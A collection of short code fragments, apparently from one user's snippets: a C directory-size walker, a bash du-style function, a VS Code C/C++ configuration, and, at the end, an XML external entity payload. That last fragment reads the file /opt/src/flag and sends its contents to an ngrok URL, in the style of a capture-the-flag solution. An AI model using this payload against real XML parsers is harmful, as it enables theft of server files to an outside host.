yurriy

    struct dirent *file;
    unsigned long long ans = 0;

    while ((file = readdir(d))) {
        if (!strcmp(file->d_name, ".") || !strcmp(file->d_name, "..")) {
            continue;
        }
        struct stat buf;
        full_name[dir_name_len] = '/';
        strcpy(full_name + dir_name_len + 1, file->d_name);

yurriy

#!/bin/bash

my_du () {
    ans=0
    for file in $(find $1)
    do
        if [ -f $file ]
        then
            sz=$(wc -c $file | { read first rest; echo $first; })
            ans=$(expr $ans + $sz)

yurriy

{
    "configurations": [
        {
            "name": "Mac",
            "includePath": [
                "${workspaceRoot}",
                "/usr/include",
                "/usr/local/include"
            ],
            "defines": [],

yurriy

<!ENTITY % payload SYSTEM "file:///opt/src/flag">
<!ENTITY % p "<!ENTITY xxe SYSTEM 'http://e0825b48.ngrok.io/x=%payload;'>">